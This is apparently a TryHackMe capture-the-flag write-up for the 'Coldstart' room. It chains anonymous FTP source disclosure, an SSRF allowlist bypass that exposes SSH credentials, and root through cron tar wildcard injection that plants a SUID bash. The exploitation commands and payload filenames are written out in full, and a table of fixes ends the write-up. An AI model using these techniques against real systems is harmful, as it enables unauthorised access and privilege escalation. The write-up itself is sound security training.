Case Studies

Coldstart

tryhackme.com/room/operationcoldstart ↗

Attack Chain

01Anonymous FTP → backup.tar.gz → Flask source code disclosure
02Source analysis → SSRF via hostname-only allowlist bypass
03SSRF → /admin/notes → SSH credentials in plaintext
04SSH as webdev → user flag
05Cron wildcard injection → tar checkpoint exec → SUID bash → root
01 — Recon

Nmap

Quick stealth scan. Three ports, no mystery — the machine is practically waving at you.

bash
sudo nmap -sS -sV -sC 10.49.137.6 -F -T4
PortServiceNote
21vsftpd 3.0.5Anonymous login allowed
22OpenSSH 9.6p1Ubuntu
80Gunicorn / PythonURL Preview — Volt Labs

Two things immediately stand out: anonymous FTP (never a good sign for the defenders) and a "URL Preview Service" — which is hacker for please SSRF me. FTP first.

02 — Anonymous FTP

Source Code Disclosure

Anonymous login, one directory, one file. Someone staged a backup to FTP and apparently forgot what FTP means.

bash
ftp 10.49.137.6
# Name: ftp — no password needed

ftp> cd pub
ftp> get backup.tar.gz
ftp> bye
bash
tar xzf backup.tar.gz
ls

app.py   # Flask source — the whole application, handed to us
White-box from the very first step. Reading source before touching the app is always worth it — you skip the guessing entirely and go straight to the vulnerability.
03 — Source Analysis

SSRF via Hostname-Only Allowlist

The app is a URL preview service. It takes a URL, fetches it with requests.get(), and returns the body. There's an allowlist, but it only checks the hostname — not the scheme, not the path, and definitely not whether the resolved IP is localhost.

python — app.py (vulnerable excerpt)
ALLOWED_HOSTS = {"kestrel.thm"}

# Only the hostname is validated. Scheme, path, and resolved IP — ignored.
host = (urlparse(target).hostname or "").lower()
if host not in ALLOWED_HOSTS:
    abort(403)

r = requests.get(target, timeout=3)   # fetch runs as-is

The /admin/ route is protected by a remote_addr check — only loopback addresses can reach it:

python — admin route
@app.route("/admin/<path:p>")
def admin(p="index"):
    if not request.remote_addr.startswith("127."):
        abort(403)                              # blocks external requests
    if p == "notes":
        with open("/opt/voltlabs-preview/admin_notes.txt") as f:
            return "<pre>" + f.read() + "</pre>"
The comment in the source literally reads: "the SSRF is still abusable, but only against the allowed hostname." The developer knew. They just decided that was fine. It was not fine.

The fix was supposed to be the allowlist. But since kestrel.thm resolves to 127.0.0.1 via /etc/hosts, passing it directly routes the request through loopback — and the admin check sees 127.0.0.1 as the caller.

04 — Exploitation

SSRF → Admin Notes → SSH Credentials

bash
curl "http://10.49.137.6/preview?url=http://kestrel.thm/admin/notes"
output — admin_notes.txt
=== INTERNAL ===
SSH access for staging:
  user: webdev
  pass: V0ltLabs#******
  - Mara

Mara left SSH credentials in an internal admin notes file, behind a localhost-only route, on a server with an SSRF vulnerability. Mara had a rough day.

The /admin/notes path was visible in the source. Source code disclosure didn't just give us the vulnerability — it gave us the exact endpoint to hit.
bash
ssh [email protected]
# password from admin notes

Logged in as webdev. User flag at the usual spot.

05 — Privilege Escalation

Cron Wildcard Injection → root

Standard post-exploitation checklist. SUID binaries were clean — nothing unusual outside the snap packages. The interesting find came from cron:

bash
cat /etc/cron.d/voltlabs-backup
output
# Volt Labs staging backup - runs as root
* * * * * root cd /opt/backups && tar czf /var/backups/uploads.tgz *
#                                                                   ↑ unquoted wildcard, writable dir, runs as root

Two preconditions align here. The cron job uses an unquoted * in /opt/backups. And webdev has write access to that directory. Both are required — a wildcard in a root-owned, write-protected directory is inert. Together they hand you root.

Why this works — the shell expansion chain:

cron passes the command through sh -c "...". The shell performs glob expansion on * before forking tar — every filename present in /opt/backups becomes a positional argument in the tar invocation. tar cannot distinguish --checkpoint=1 typed on the command line from a file named --checkpoint=1 that arrived via glob expansion. Both look identical once the shell is done.

After expansion, the effective command tar receives looks like this:

bash — effective invocation after glob expansion
tar czf /var/backups/uploads.tgz \
    --checkpoint=1 \
    --checkpoint-action=exec=sh shell.sh \
    shell.sh \
    [... rest of files in the directory ...]

GNU tar's checkpoint mechanism fires a user-defined action every N records processed. --checkpoint=1 triggers after each single file; --checkpoint-action=exec=sh shell.sh executes the script under the same UID as tar — which is root. The archive doesn't need to complete successfully for the payload to run. Cron ticks every minute, so the maximum wait is 60 seconds.

HackTricks: Wildcard Spare Tricks — tar ↗

Confirm write access, then plant the payload:

bash
ls -la /opt/backups
# drwxrwxr-x  root webdev — writable. Perfect.

cd /opt/backups

# payload: copy bash, set SUID bit
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > shell.sh

# filenames that become tar flags after shell expansion
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"

Wait for the next cron tick. Tar runs as root, shell expands the wildcard, the checkpoint flags inject, shell.sh executes as root.

bash — after one minute
ls -la /tmp/rootbash
# -rwsr-sr-x 1 root root — SUID set, owned by root

/tmp/rootbash -p
# -p preserves the effective UID — runs as root

whoami
root

One unquoted asterisk. That's all it took.

Summary

Credentials

UserPassword / MethodSource
webdev (SSH)V0ltLabs#******SSRF → /admin/notes
rootwildcard injectioncron tar + SUID bash
// failure analysis

What Broke and Why

VectorRoot CauseFix
Anon FTP + source backup Application source staged on unauthenticated service — developer treated FTP as a private channel Disable anonymous FTP entirely; secrets and source code never belong on a public file share
SSRF hostname-only allowlist kestrel.thm resolves to 127.0.0.1 via /etc/hosts; scheme and resolved IP were never validated Resolve the hostname to an IP at allowlist-check time and reject RFC1918 ranges; validate scheme explicitly
Credentials in admin_notes.txt SSH credentials stored in a plaintext file inside the application tree, one hop from an SSRF sink Secrets manager; if a note must exist, it lives outside the web root with no code path reading it
Cron wildcard injection Unquoted * in root-run tar command; target directory writable by unprivileged user tar czf backup.tgz -C /opt/backups . — a dot cannot be shell-expanded into flags; or remove webdev write access